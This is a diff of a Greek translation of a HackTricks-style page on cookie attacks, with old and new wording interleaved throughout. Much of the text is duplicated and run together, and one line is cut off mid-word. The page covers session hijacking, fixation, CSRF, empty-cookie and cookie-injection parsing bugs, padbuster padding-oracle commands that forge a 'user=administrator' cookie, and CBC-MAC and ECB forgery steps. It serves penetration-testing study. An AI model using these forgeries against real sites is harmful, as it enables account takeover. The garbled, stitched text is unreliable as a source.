Τα ευαίσθητα δεδομένα που ενσωματώνονται σε cookies πρέπει πάντα να ελέγχονται. Τα cookies που έχουν κωδικοποιηθεί σε Base64 ή παρόμοιες μορφές μπορούν συχνά να αποκωδικοποιηθούν. Αυτή η ευπάθεια επιτρέπει στους επιτιθέμενους να αλλάξουν το περιεχόμενο του cookie και να προσποιηθούν άλλους χρήστες κωδικοποιώντας τα τροποποιημένα δεδομένα πίσω στο cookie. Τα ευαίσθητα δεδομένα που ενσωματώνονται σε cookies πρέπει πάντα να εξετάζονται προσεκτικά. Τα cookies που κωδικοποιούνται σε Base64 ή παρόμοιες μορφές μπορούν συχνά να αποκωδικοποιηθούν. Αυτή η ευπάθεια επιτρέπει στους επιτιθέμενους να τροποποιήσουν το περιεχόμενο του cookie και να υποκριθούν άλλους χρήστες κωδικοποιώντας τα τροποποιημένα δεδομένα τους πίσω στο cookie.
### Κλοπή Συνεδρίας ### Απαγωγή Συνεδρίας
Αυτή η επίθεση περιλαμβάνει την κλοπή του cookie ενός χρήστη για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό του σε μια εφαρμογή. Χρησιμοποιώντας το κλεμμένο cookie, ένας επιτιθέμενος μπορεί να προσποιηθεί τον νόμιμο χρήστη. Αυτή η επίθεση περιλαμβάνει την κλοπή του cookie ενός χρήστη για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό του σε μια εφαρμογή. Χρησιμοποιώντας το κλεμμένο cookie, ένας επιτιθέμενος μπορεί να υποκριθεί τον νόμιμο χρήστη.
### Σταθεροποίηση Συνεδρίας ### Σταθεροποίηση Συνεδρίας
Σε αυτό το σενάριο, ένας επιτιθέμενος εξαπατά ένα θύμα να χρησιμοποιήσει ένα συγκεκριμένο cookie για να συνδεθεί. Εάν η εφαρμογή δεν αναθέτει ένα νέο cookie κατά τη σύνδεση, ο επιτιθέμενος, κατέχοντας το αρχικό cookie, μπορεί να προσποιηθεί το θύμα. Αυτή η τεχνική βασίζεται στο γεγονός ότι το θύμα συνδέεται με ένα cookie που παρέχεται από τον επιτιθέμενο. Σε αυτό το σενάριο, ένας επιτιθέμενος εξαπατά ένα θύμα να χρησιμοποιήσει ένα συγκεκριμένο cookie για να συνδεθεί. Εάν η εφαρμογή δεν αναθέτει ένα νέο cookie κατά τη σύνδεση, ο επιτιθέμενος, κατέχοντας το αρχικό cookie, μπορεί να υποκριθεί το θύμα. Αυτή η τεχνική βασίζεται στο γεγονός ότι το θύμα συνδέεται με ένα cookie που παρέχεται από τον επιτιθέμενο.
Εάν βρήκατε ένα **XSS σε έναν υποτομέα** ή ελέγχετε έναν **υποτομέα**, διαβάστε: Εάν βρήκατε ένα **XSS σε ένα υποτομέα** ή εσείς **έλεγχετε έναν υποτομέα**, διαβάστε:
{% content-ref url="cookie-tossing.md" %} {% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md) [cookie-tossing.md](cookie-tossing.md)
@ -83,34 +102,33 @@
### Δωρεά Συνεδρίας ### Δωρεά Συνεδρίας
Εδώ, ο επιτιθέμενος πείθει το θύμα να χρησιμοποιήσει το cookie συνεδρίας του επιτιθέμενου. Το θύμα, πιστεύοντας ότι είναι συνδεδεμένο στον δικό του λογαριασμό, θα εκτελέσει ακούσια ενέργειες στο πλαίσιο του λογαριασμού του επιτιθέμενου. Εδώ, ο επιτιθέμενος πείθει το θύμα να χρησιμοποιήσει το session cookie του επιτιθέμενου. Το θύμα, πιστεύοντας ότι έχει συνδεθεί στον δικό του λογαριασμό, θα εκτελέσει απροσδόκητα ενέργειες στο πλαίσιο του λογαριασμού του επιτιθέμενου.
Εάν βρήκατε ένα **XSS σε έναν υποτομέα** ή ελέγχετε έναν **υποτομέα**, διαβάστε: Εάν βρήκατε ένα **XSS σε έναν υποτομέα** ή εσείς **έλεγχετε έναν υποτομέα**, διαβάστε:
{% content-ref url="cookie-tossing.md" %} {% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md) [cookie-tossing.md](cookie-tossing.md)
{% endcontent-ref %} {% endcontent-ref %}
### [JWT Cookies](../hacking-jwt-json-web-tokens.md) ### [Cookies JWT](../hacking-jwt-json-web-tokens.md)
Κάντε κλικ στον προηγούμενο σύνδεσμο για να αποκτήσετε πρόσβαση σε μια σελίδα που εξηγεί δυνητικά σφάλματα στα JWT. Κάντε κλικ στον προηγούμενο σύνδεσμο για να αποκτήσετε πρόσβαση σε μια σελίδα που εξηγεί πιθανές ελαττώματα στα JWT.
Τα JSON Web Tokens (JWT) που χρησιμοποιούνται σε cookies μπορεί επίσης να παρουσιάζουν ευπάθειες. Για λεπτομερείς πληροφορίες σχετικά με πιθανά σφάλματα και τον τρόπο εκμετάλλευσής τους, συνίσταται η πρόσβαση στο συνδεδεμένο έγγραφο για την ανάλυση των JWT. Τα JSON Web Tokens (JWT) που χρησιμοποιούνται σε cookies μπορεί επίσης να παρουσιάζουν ευπάθειες. Για λεπτομερείς πληροφορίες σχετικά με πιθανά ελαττώματα και πώς να τα εκμεταλλευτείτε, συνιστάται η πρόσβαση στο έγγραφο που συνδέεται με την ανάλυση του hacking JWT.
### Cross-Site Request Forgery (CSRF) ### Παραβίαση Αιτήσεων Αναπαραγωγής Ανά Διαδίκτυο (CSRF)
Αυτή η επίθεση αναγκάζει έναν συνδεδεμένο χρήστη να εκτελέσει ανεπιθύμητες ενέργειες σε μια ιστοσελίδα στην οποία είναι ήδη πιστοποιημένος. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τα cookies που αποστέλλονται αυτόματα με κάθε αίτηση προς την ευάλωτη ιστοσελίδα. Αυτή η επίθεση αναγκάζει έναν συνδεδεμένο χρήστη να εκτελέσει μη επιθυμητες ενέργειες σε μια ιστοσελίδα στην οποία είναι επί του παρόντος ταυτοποιημένος. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν cookies που στέλνονται αυτόματα με κάθε αίτηση στην ευάλωτη ιστοσελίδα.
### Κενά Cookies ### Κενά Cookies
(Ελέγξτε περαιτέρω λεπτομέρειες στην [αρχική έρευνα](https://blog.ankursundara.com/cookie-bugs/)) (Ελέγξτε περαιτέρω λεπτομέρειες στην [αρχική έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Οι περιηγητές επιτρέπουν τη δημιουργία cookies χωρίς όνομα, το οποίο μπορεί να επιδειχθεί μέσω JavaScript ως εξής:
Οι περιηγητές επιτρέπουν τη δημιουργία cookies χωρίς όνομα, το οποίο μπορεί να αποδειχθεί μέσω JavaScript ως εξής:
```js ```js
document.cookie = "a=v1" document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2" document.cookie = "b=v2"
``` ```
Το αποτέλεσμα στην κεφαλίδα του αποστελλόμενου cookie είναι `a=v1; test value; b=v2;`. Ενδιαφέροντος, αυτό επιτρέπει την παραπλάνηση των cookies εάν ένα cookie με κενό όνομα οριστεί, ενδεχομένως ελέγχοντας άλλα cookies με το να ορίσετε το κενό cookie σε μια συγκεκριμένη τιμή: Το αποτέλεσμα στην κεφαλίδα cookie που στάλθηκε είναι `a=v1; test value; b=v2;`. Ενδιαφέροντα, αυτό επιτρέπει την παρεμβολή στα cookies εάν ένα cookie με κενό όνομα οριστεί, ενδεχομένως ελέγχοντας άλλα cookies με τον καθορισμό του κενού cookie σε μια συγκεκριμένη τιμή:
```js ```js
function setCookie(name, value) { function setCookie(name, value) {
document.cookie = `${name}=${value}`; document.cookie = `${name}=${value}`;
@ -118,55 +136,47 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
``` ```
Αυτό οδηγεί στον περιηγητή να στέλνει έναν κεφαλίδα cookie που ερμηνεύεται από κάθε διακομιστή ιστού ως ένα cookie με όνομα `a` και τιμή `b`. #### Chrome Bug: Θέμα με τον Κωδικό Συνεχούς Unicode
#### Σφάλμα του Chrome: Πρόβλημα με τον κωδικό συνεχόμενης αντιστοίχισης Unicode Στο Chrome, εάν ένας κωδικός συνεχούς Unicode είναι μέρος ενός συνόλου cookie, το `document.cookie` γίνεται διαφθαρμένο, επιστρέφοντας στη συνέχεια μια κενή συμβολοσειρά:
Στο Chrome, εάν ένας κωδικός συνεχόμενης αντιστοίχισης Unicode είναι μέρος ενός συνόλου cookie, το `document.cookie` καταστρέφεται και επιστρέφει ένα κενό string στη συνέχεια:
```js ```js
document.cookie = "\ud800=meep"; document.cookie = "\ud800=meep";
``` ```
Αυτό έχει ως αποτέλεσμα την έξοδο του `document.cookie` ως κενή συμβολοσειρά, υποδεικνύοντας μόνιμη καταστροφή. Αυτό έχει ως αποτέλεσμα την έξοδο του `document.cookie` ως κενό string, υποδεικνύοντας μόνιμη διαφθορά.
#### Λεπτομέρειες για τον Κλοπιμαίο Μπισκότου λόγω Προβλημάτων Ανάλυσης #### Λειτουργία Λαθών Ανάγνωσης Λογισμικού Λόγω Προβλημάτων Ανάλυσης
(Ελέγξτε περαιτέρω λεπτομέρειες στην [αρχική έρευνα](https://blog.ankursundara.com/cookie-bugs/)) (Ελέγξτε περισσότερες λεπτομέρειες στην [αρχική έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Πολλοί διακομιστές ιστού, συμπεριλαμβανομένων αυτών από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται εσφαλμένα τις συμβολοσειρές cookie λόγω της ξεπερασμένης υποστήριξης του RFC2965. Διαβάζουν μια τιμή cookie που είναι εντός διπλών εισαγωγικών ως μοναδική τιμή ακόμα κι αν περιλαμβάνει ερωτηματικά, τα οποία θα έπρεπε να χωρίζουν κανονικά τα ζεύγη κλειδιού-τιμής:
Πολλοί διακομιστές ιστού, συμπεριλαμβανομένων αυτών από την Java (Jetty, TomCat, Undertow) και την Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), δεν χειρίζονται σωστά τις συμβολοσειρές των μπισκότων λόγω της ξεπερασμένης υποστήριξης του RFC2965. Διαβάζουν μια τιμή μπισκότου που είναι εντός διπλών εισαγωγικών ως μια μοναδική τιμή, ακόμα κι αν περιλαμβάνει ερωτηματικά, τα οποία θα έπρεπε να χωρίζουν κλειδιά-τιμές:
``` ```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
``` ```
#### Ευπάθειες Εισαγωγής Μπισκότων #### Ευπάθειες Έγχυσης Cookies
(Ελέγξτε περαιτέρω λεπτομέρειες στην [αρχική έρευνα](https://blog.ankursundara.com/cookie-bugs/)) (Ελέγξτε λεπτομέρειες στην [αρχική έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Η εσφαλμένη ανάλυση των cookies από διακομιστές, ειδικά Undertow, Zope, και αυτούς που χρησιμοποιούν τα `http.cookie.SimpleCookie` και `http.cookie.BaseCookie` της Python, δημιουργεί ευκαιρίες για επιθέσεις έγχυσης cookies. Αυτοί οι διακομιστές αποτυγχάνουν να διαχωρίσουν σωστά την έναρξη νέων cookies, επιτρέποντας σε επιτιθέμενους να πλαστογραφήσουν cookies:
Η εσφαλμένη ανάλυση των μπισκότων από τους διακομιστές, ιδιαίτερα το Undertow, το Zope και αυτούς που χρησιμοποιούν τα `http.cookie.SimpleCookie` και `http.cookie.BaseCookie` της Python, δημιουργεί ευκαιρίες για επιθέσεις εισαγωγής μπισκότων. Αυτοί οι διακομιστές αποτυγχάνουν να διαχωρίσουν σωστά την έναρξη νέων μπισκότων, επιτρέποντας στους επιτιθέμενους να παραποιήσουν μπισκότα:
- Το Undertow περιμένει ένα νέο μπισκότο αμέσως μετά από μια παραθέση χωρίς έναν ερωτηματικό. * Ο Undertow περιμένει ένα νέο cookie αμέσως μετά από μια παραθέση χωρίς ερωτηματικό.
- Το Zope αναζητά ένα κόμμα για να ξεκινήσει την ανάλυση του επόμενου μπισκότου. * Το Zope ψάχνει για ένα κόμμα για να ξεκινήσει την ανάλυση του επόμενου cookie.
- Οι κλάσεις μπισκότων της Python ξεκινούν την ανάλυση με έναν χαρακτήρα κενού. * Οι κλάσεις cookie της Python ξεκινούν την ανάλυση σε ένα χαρακτήρα κενού.
Αυτή η ευπάθεια είναι ιδιαίτερα επικίνδυνη σε web εφαρμογές που βασίζονται στην προστασία CSRF με βάση τα μπισκότα, καθώς επιτρέπει στους επιτιθέμενους να εισάγουν παραποιημένα μπισκότα CSRF-token, πιθανώς παρακάμπτοντας τα μέτρα ασφαλείας. Το πρόβλημα επιδεινώνεται από την αντιμετώπιση της Python για διπλότυπα ονόματα μπισκότων, όπου η τελευταία εμφάνιση αντικαθιστά τις προηγούμενες. Επίσης, προκαλεί ανησυχίες για τα μπισκότα `__Secure-` και `__Host-` σε ανασφαλείς περιβάλλοντα και μπορεί να οδηγήσει σε παράκαμψη της εξουσιοδότησης όταν τα μπισκότα περνιούνται σε διακομιστές που είναι ευάλωτοι στην παραποίηση. Αυτή η ευπάθεια είναι ιδιαίτερα επικίνδυνη σε web εφαρμογές που βασίζονται στην προστασία CSRF με βάση τα cookies, καθώς επιτρέπει σε επιτιθέμενους να εισάγουν πλαστογραφημένα cookies με το CSRF-token, πιθανώς παρακάμπτοντας μέτρα ασφαλείας. Το πρόβλημα επιδεινώνεται από την αντιμετώπιση της Python με διπλότυπα ονόματα cookies, όπου η τελευταία εμφάνιση αντικαθιστά τις προηγούμενες. Επίσης, δημιουργεί ανησυχίες για τα cookies `__Secure-` και `__Host-` σε ανασφαλείς συμφραζόμενα και θα μπορούσε να οδηγήσει σε παρακάμψεις εξουσιοδότησης όταν τα cookies περνιούνται σε διακομιστές που είναι ευάλωτοι στην πλαστογράφηση.
### Επιπλέον Έλεγχοι Ευπαθών Μπισκότων ### Επιπλέον Ευάλωτοι Έλεγχοι Cookies
#### **Βασικοί έλεγχοι** #### **Βασικοί Έλεγχοι**
* Το **μπισκότο** είναι το **ίδιο** κάθε φορά που **συνδέεστε**. * Το **cookie** είναι **ίδιο** κάθε φορά που **συνδέεστε**.
* Αποσυνδεθείτε και προσπαθήστε να χρησιμοποιήσετε το ίδιο μπισκότο. * Αποσυνδεθείτε και δοκιμάστε να χρησιμοποιήσετε το ίδιο cookie.
* Προσπαθήστε να συνδεθείτε με 2 συσκευές (ή προγράμματα περιήγησης) στον ίδιο λογαριασμό χρησιμοποιώντας το ίδιο μπισκότο. * Δοκιμάστε να συνδεθείτε με 2 συσκευές (ή προγράμματα περιήγησης) στο ίδιο λογαριασμό χρησιμοποιώντας το ίδιο cookie.
* Ελέγξτε αν το μπισκότο περιέχει οποιαδήποτε πληροφορία και προσπαθήστε να το τροποποιήσετε. * Ελέγξτε αν το cookie περιέχει κάποιες πληροφορίες και δοκιμάστε να το τροποποιήσετε.
* Προσπαθήστε να δημιουργήσετε αρκετούς λογαριασμούς με σχεδόν το ίδιο όνομα χρήστη και ελέγξτε αν μπορείτε να δείτε ομοιότητες. * Δοκιμάστε να δημιουργήσετε αρκετούς λογαριασμούς με σχεδόν το ίδιο όνομα χρήστη και ελέγξτε αν μπορείτε να δείτε ομοιότητες.
* Ελέγξτε την επιλογή "**θυμήσου με**" αν υπάρχει για να δείτε πώς λειτουργεί. Αν υπάρχει και μπορεί να είναι ευάλωτη, χρησιμοποιήστε πάντα το μπισκότο του **θυμήσου με** χωρίς άλλο μπισκότο. * Ελέγξτε την επιλογή "**Να με θυμάσαι**" αν υπάρχει για να δείτε πώς λειτουργεί. Αν υπάρχει και μπορεί να είναι ευάλωτη, χρησιμοποιήστε πάντα το cookie του **να με θυμάσαι** χωρίς κανένα άλλο cookie.
* Ελέγξτε αν το προηγούμενο μπισκότο λειτουργεί ακόμα αφού αλλάξετε τον κωδικό πρόσβασης. * Ελέγξτε αν το προηγούμενο cookie λειτουργεί ακόμα ακόμα και μετά την αλλαγή του κωδικού πρόσβασης.
#### **Προηγμένες επιθέσεις μπισκότων** #### **Προηγμένες επιθέσεις cookies**
Αν το μπισκότο παραμένει το ίδιο (ή σχεδόν) όταν συνδέεστε, αυτό πιθανότατα σημαίνει ότι το μπισκότο σχετίζεται με κάποιο πεδίο του λογαριασμού σας (πιθανώς το όνομα χρήστη). Τότε μπορείτε: Αν το cookie παραμένει το ίδιο (ή σχεδόν) όταν συνδέεστε, αυτό πιθανότατα σημαίνει ότι το cookie σχετίζεται με κάποιο πεδίο του λογαριασμού σας (πιθανώς το όνομα χρήστη). Τότε μπορείτε:
* Να προσπαθήσετε να δημιουργήσετε πολλούς **λογαριασμούς** με πολύ **παρόμοια** ονόματα χρηστών και να προσπαθήσετε να **μαντέψετε** πώς λειτουργεί ο αλγόριθμος. * Δοκιμάστε να δημιουργήσετε πολλούς **λογαριασμούς** με πολύ **παρόμοια ονόματα χρηστών** και προσπαθήστε να **μαντέψετε** π
* Να προσπαθήσετε να **δοκιμάσετε βίαια** το όνομα χρήστη. Αν το μπισκότο αποθηκεύει μόνο ως μέθοδο πιστοποίησης για το όνομα χρήστη σας, τότε μπορείτε να δημιουργήσετε έναν λογαριασμό με όνομα χρήστη "**Bmin**" και να δοκιμάσετε να βρείτε κάθε **bit** του μπισκότου σας, επειδή ένα από τα μπισκότα που θα δοκιμάσετε θα είναι αυτό που ανήκει στον "**admin**".
* Να δοκιμάσετε το **Padding Oracle** (μπορείτε να αποκρυπτογραφήσετε το περιεχόμενο του μπισκότου). Χρησιμοποιήστε το **padbuster**.
**Padding Oracle - Παραδείγματα Padbuster**
```bash ```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]> padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64 # When cookies and regular Base64
@ -176,61 +186,54 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
``` ```
Ο Padbuster θα κάνει αρκετές προσπάθειες και θα σας ρωτήσει ποια συνθήκη είναι η συνθήκη σφάλματος (αυτή που δεν είναι έγκυρη). Padbuster θα κάνει αρκετές προσπάθειες και θα σας ρωτήσει ποια συνθήκη είναι η συνθήκη σφάλματος (αυτή που δεν είναι έγκυρη).
Στη συνέχεια, θα αρχίσει να αποκρυπτογραφεί το cookie (μπορεί να διαρκέσει αρκετά λεπτά). Στη συνέχεια θα αρχίσει να αποκρυπτογραφεί το cookie (μπορεί να διαρκέσει αρκετά λεπτά).
Εάν η επίθεση έχει πραγματοποιηθεί με επιτυχία, τότε μπορείτε να δοκιμάσετε να κρυπτογραφήσετε μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλατε να **κρυπτογραφήσετε** **user=administrator** Αν η επίθεση έχει πραγματοποιηθεί με επιτυχία, τότε μπορείτε να δοκιμάσετε να κρυπτογραφήσετε μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλατε να **κρυπτογραφήσετε** **user=administrator**.
``` ```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
``` ```
Αυτή η εκτέλεση θα σας δώσει το cookie σωστά κρυπτογραφημένο και κωδικοποιημένο με τον χαρακτήρα **user=administrator** μέσα. Αυτή η εκτέλεση θα σας δώσει το cookie σωστά κρυπτογραφημένο και κωδικοποιημένο με το string **user=administrator** μέσα.
**CBC-MAC** **CBC-MAC**
Ίσως ένα cookie να έχει μια τιμή και να υπογράφεται χρησιμοποιώντας CBC. Έτσι, η ακεραιότητα της τιμής είναι η υπογραφή που δημιουργείται χρησιμοποιώντας CBC με την ίδια τιμή. Καθώς συνιστάται να χρησιμοποιείται ένα μηδενικό διάνυσμα ως αρχικοποίηση, αυτός ο τύπος ελέγχου ακεραιότητας μπορεί να είναι ευάλωτος. Ίσως ένα cookie μπορεί να έχει κάποια τιμή και να υπογράφεται χρησιμοποιώντας CBC. Τότε, η ακεραιότητα της τιμής είναι η υπογραφή που δημιουργείται χρησιμοποιώντας CBC με την ίδια τιμή. Καθώς συνιστάται να χρησιμοποιείται ως IV ένα μηδενικό διάνυσμα, αυτός ο τύπος ελέγχου ακεραιότητας μπορεί να είναι ευάλωτος.
**Η επίθεση** **Η επίθεση**
1. Αποκτήστε την υπογραφή του ονόματος χρήστη **administ** = **t** 1. Λάβετε την υπογραφή του ονόματος χρήστη **administ** = **t**
2. Αποκτήστε την υπογραφή του ονόματος χρήστη **rator\x00\x00\x00 XOR t** = **t'** 2. Λάβετε την υπογραφή του ονόματος χρήστη **rator\x00\x00\x00 XOR t** = **t'**
3. Ορίστε στο cookie την τιμή **administrator+t'** (**t'** θα είναι μια έγκυρη υπογραφή του **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** 3. Ορίστε στο cookie την τιμή **administrator+t'** (**t'** θα είναι μια έγκυρη υπογραφή του **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
**ECB** **ECB**
Εάν το cookie κρυπτογραφείται χρησιμοποιώντας ECB, μπορεί να είναι ευάλωτο.\ Αν το cookie είναι κρυπτογραφημένο χρησιμοποιώντας ECB μπορεί να είναι ευάλωτο.\
Όταν συνδεθείτε, το cookie που λαμβάνετε πρέπει να είναι πάντα το ίδιο. Όταν συνδέεστε, το cookie που λαμβάνετε πρέπει να είναι πάντα το ίδιο.
**Πώς να ανιχνεύσετε και να επιτεθείτε:** **Πώς να ανιχνεύσετε και να επιτεθείτε:**
Δημιουργήστε 2 χρήστες με σχεδόν τα ίδια δεδομένα (όνομα χρήστη, κωδικό πρόσβασης, email, κλπ.) και προσπαθήστε να ανακαλύψετε κάποιο πρότυπο μέσα στο δοσμένο cookie. Δημιουργήστε 2 χρήστες με σχεδόν τα ίδια δεδομένα (όνομα χρήστη, κωδικό πρόσβασης, email, κλπ.) και προσπαθήστε να ανακαλύψετε κάποιο πρότυπο μέσα στο δεδομένο cookie
Δημιουργήστε έναν χρήστη με το όνομα "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" και ελέγξτε αν υπάρχει κάποιο πρότυπο στο cookie (καθώς το ECB κρυπτογραφεί με τον ίδιο κλειδί κάθε μπλοκ, τα ίδια κρυπτογραφημένα bytes μπορεί να εμφανιστούν εάν το όνομα χρήστη κρυπτογραφηθεί). Δημιουργήστε ένα χρήστη με το όνομα για παράδειγμα "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" και ελέγξτε αν υπάρχει κάποιο πρότυπο στο cookie (καθώς το ECB κρυπτογραφεί με τον ίδιο κλειδί κάθε block, τα ίδια κρυπτογραφημένα bytes μπορεί να εμφανιστούν αν το όνομα χρήστη είναι κρυπτογραφημένο).
Θα πρέπει να υπάρχει ένα πρότυπο (με το μέγεθος ενός χρησιμοποιούμενου μπλοκ). Έτσι, γνωρίζοντας πώς κρυπτογραφούνται μια σειρά από "a", μπορείτε να δημιουργήσετε ένα όνομα χρήστη: "a"\*(μέγεθος του μπλοκ)+"admin". Στη συνέχεια, μπορείτε να διαγράψετε το κρυπτογραφημένο πρότυπο ενός μπλοκ από το cookie. Και θα έχετε το cookie του ονόματος χρήστη "admin". Θα πρέπει να υπάρχει ένα πρότυπο (με το μέγεθος ενός χρησιμοποιούμενου block). Έτσι, γνωρίζοντας πώς κρυπτογραφούνται μια σειρά "a" μπορείτε να δημιουργήσετε ένα όνομα χρήστη: "a"\*(μέγεθος του block)+"admin". Έπειτα, μπορείτε να διαγράψετε το κρυπτογραφημένο πρότυπο ενός block από το cookie. Και θα έχετε το cookie του ονόματος χρήστη "admin".
## Αναφορές ## Αναφορές
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/) * [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) * [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνειά σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από APIs έως web εφαρμογές και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details> </details>

View file

@ -2,27 +2,19 @@
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
